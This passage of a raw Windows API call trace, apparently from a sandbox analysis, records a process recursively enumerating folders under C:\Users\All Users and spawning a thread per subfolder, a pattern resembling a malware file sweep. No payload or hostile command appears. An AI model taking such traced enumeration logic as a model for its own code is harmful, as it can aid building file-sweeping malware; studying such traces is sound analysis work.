Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0076.986] wcscat (in: _Dest=0x3429558, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0076.986] wcscat (in: _Dest=0x3429558, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*" [0076.986] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4ab8 [0076.986] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0198 [0076.987] wcscmp (_String1=".", _String2=".") returned 0 [0076.987] FindNextFileW (in: hFindFile=0x33e0198, lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.987] wcscmp (_String1="..", _String2=".") returned 1 [0076.987] wcscmp (_String1="..", _String2="..") returned 0 [0076.987] FindNextFileW (in: hFindFile=0x33e0198, lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0076.988] wcscmp (_String1="packages", _String2=".") returned 1 [0076.988] wcscmp (_String1="packages", _String2="..") returned 1 [0076.988] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb8) returned 0x3430d40 [0076.988] wcscpy (in: _Dest=0x3430d40, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0076.988] wcscat (in: _Dest=0x3430d40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0076.988] wcscat (in: _Dest=0x3430d40, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0077.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598 [0077.891] FindNextFileW (in: hFindFile=0x33e0198, lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0077.891] FindClose (in: hFindFile=0x33e0198 | out: hFindFile=0x33e0198) returned 1 [0077.891] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4ab8) returned 1 [0077.891] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429558) returned 1 [0077.891] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0800) returned 1 [0077.891] RtlExitUserThread (Status=0x0) Thread: id = 828 os_tid = 0x9b0 [0076.988] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x341be40 [0076.988] wcscpy (in: _Dest=0x341be40, _Source="C:\\Users\\All Users\\Oracle\\Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java" [0076.988] wcscat (in: _Dest=0x341be40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\") returned="C:\\Users\\All Users\\Oracle\\Java\\" [0076.988] wcscat (in: _Dest=0x341be40, _Source="*" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\*") returned="C:\\Users\\All Users\\Oracle\\Java\\*" [0076.988] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f4d20 [0076.988] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\*", lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e01d8 [0076.989] wcscmp (_String1=".", _String2=".") returned 0 [0076.989] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.989] wcscmp (_String1="..", _String2=".") returned 1 [0076.989] wcscmp (_String1="..", _String2="..") returned 0 [0076.989] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xad19b2ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".oracle_jre_usage", cAlternateFileName="ORACLE~1")) returned 1 [0076.990] wcscmp (_String1=".oracle_jre_usage", _String2=".") returned 1 [0076.990] wcscmp (_String1=".oracle_jre_usage", _String2="..") returned 1 [0076.990] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347daf0 [0076.990] wcscpy (in: _Dest=0x347daf0, _Source="C:\\Users\\All Users\\Oracle\\Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java" [0076.990] wcscat (in: _Dest=0x347daf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\") returned="C:\\Users\\All Users\\Oracle\\Java\\" [0076.990] wcscat (in: _Dest=0x347daf0, _Source=".oracle_jre_usage" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage" [0077.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347daf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828 [0077.886] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 1 [0077.886] wcscmp (_String1="installcache_x64", _String2=".") returned 1 [0077.886] wcscmp (_String1="installcache_x64", _String2="..") returned 1 [0077.886] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3427478 [0077.886] wcscpy (in: _Dest=0x3427478, _Source="C:\\Users\\All Users\\Oracle\\Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java" [0077.886] wcscat (in: _Dest=0x3427478, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\") returned="C:\\Users\\All Users\\Oracle\\Java\\" [0077.886] wcscat (in: _Dest=0x3427478, _Source="installcache_x64" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64") returned="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64" [0077.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3427478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498 [0077.887] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath", cAlternateFileName="")) returned 1 [0077.887] wcscmp (_String1="javapath", _String2=".") returned 1 [0077.887] wcscmp (_String1="javapath", _String2="..") returned 1 [0077.887] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x341f6c0 [0077.887] wcscpy (in: _Dest=0x341f6c0, _Source="C:\\Users\\All Users\\Oracle\\Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java" [0077.887] wcscat (in: _Dest=0x341f6c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\") returned="C:\\Users\\All Users\\Oracle\\Java\\" [0077.887] wcscat (in: _Dest=0x341f6c0, _Source="javapath" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath" [0077.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x341f6c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0077.888] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 1 [0077.888] wcscmp (_String1="javapath_target_474984", _String2=".") returned 1 [0077.888] wcscmp (_String1="javapath_target_474984", _String2="..") returned 1 [0077.888] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x347fb98 [0077.888] wcscpy (in: _Dest=0x347fb98, _Source="C:\\Users\\All Users\\Oracle\\Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java" [0077.888] wcscat (in: _Dest=0x347fb98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\") returned="C:\\Users\\All Users\\Oracle\\Java\\" [0077.888] wcscat (in: _Dest=0x347fb98, _Source="javapath_target_474984" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" [0077.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347fb98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0077.889] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x33f4d20 | out: lpFindFileData=0x33f4d20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 0 [0077.889] FindClose (in: hFindFile=0x33e01d8 | out: hFindFile=0x33e01d8) returned 1 [0077.890] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4d20) returned 1 [0077.890] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341be40) returned 1 [0077.890] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd238) returned 1 [0077.890] RtlExitUserThread (Status=0x0) Thread: id = 829 os_tid = 0xd48 [0076.991] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431998 [0076.991] wcscpy (in: _Dest=0x3431998, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0076.991] wcscat (in: _Dest=0x3431998, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\" [0076.991] wcscat (in: _Dest=0x3431998, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*" [0076.991] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f2b70 [0076.991] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x33f2b70 | out: lpFindFileData=0x33f2b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0218 [0076.992] wcscmp (_String1=".", _String2=".") returned 0 [0076.992] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x33f2b70 | out: lpFindFileData=0x33f2b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.992] wcscmp (_String1="..", _String2=".") returned 1 [0076.992] wcscmp (_String1="..", _String2="..") returned 0 [0076.992] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x33f2b70 | out: lpFindFileData=0x33f2b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0076.992] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1 [0076.992] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1 [0076.992] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x3424900 [0076.992] wcscpy (in: _Dest=0x3424900, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0076.992] wcscat (in: _Dest=0x3424900, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\" [0076.992] wcscat (in: _Dest=0x3424900, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" [0077.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3424900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0077.885] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x33f2b70 | out: lpFindFileData=0x33f2b70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0077.885] FindClose (in: hFindFile=0x33e0218 | out: hFindFile=0x33e0218) returned 1 [0077.885] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2b70) returned 1 [0077.885] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431998) returned 1 [0077.885] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430c80) returned 1 [0077.885] RtlExitUserThread (Status=0x0) Thread: id = 830 os_tid = 0xe44 [0076.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431a60 [0076.993] wcscpy (in: _Dest=0x3431a60, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0076.993] wcscat (in: _Dest=0x3431a60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\" [0076.993] wcscat (in: _Dest=0x3431a60, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*" [0076.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f2dd8 [0076.993] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x33f2dd8 | out: lpFindFileData=0x33f2dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0258 [0076.994] wcscmp (_String1=".", _String2=".") returned 0 [0076.994] FindNextFileW (in: hFindFile=0x33e0258, lpFindFileData=0x33f2dd8 | out: lpFindFileData=0x33f2dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.994] wcscmp (_String1="..", _String2=".") returned 1 [0076.994] wcscmp (_String1="..", _String2="..") returned 0 [0076.994] FindNextFileW (in: hFindFile=0x33e0258, lpFindFileData=0x33f2dd8 | out: lpFindFileData=0x33f2dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0076.994] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1 [0076.994] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1 [0076.994] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x33e5128 [0076.994] wcscpy (in: _Dest=0x33e5128, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages" [0076.994] wcscat (in: _Dest=0x33e5128, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\" [0076.994] wcscat (in: _Dest=0x33e5128, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" [0077.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e5128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x910 [0077.883] FindNextFileW (in: hFindFile=0x33e0258, lpFindFileData=0x33f2dd8 | out: lpFindFileData=0x33f2dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0077.883] FindClose (in: hFindFile=0x33e0258 | out: hFindFile=0x33e0258) returned 1 [0077.883] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2dd8) returned 1 [0077.883] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431a60) returned 1 [0077.883] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431580) returned 1 [0077.883] RtlExitUserThread (Status=0x0) Thread: id = 831 os_tid = 0xe40 [0076.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbe) returned 0x3431b28 [0076.995] wcscpy (in: _Dest=0x3431b28, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0076.995] wcscat (in: _Dest=0x3431b28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package 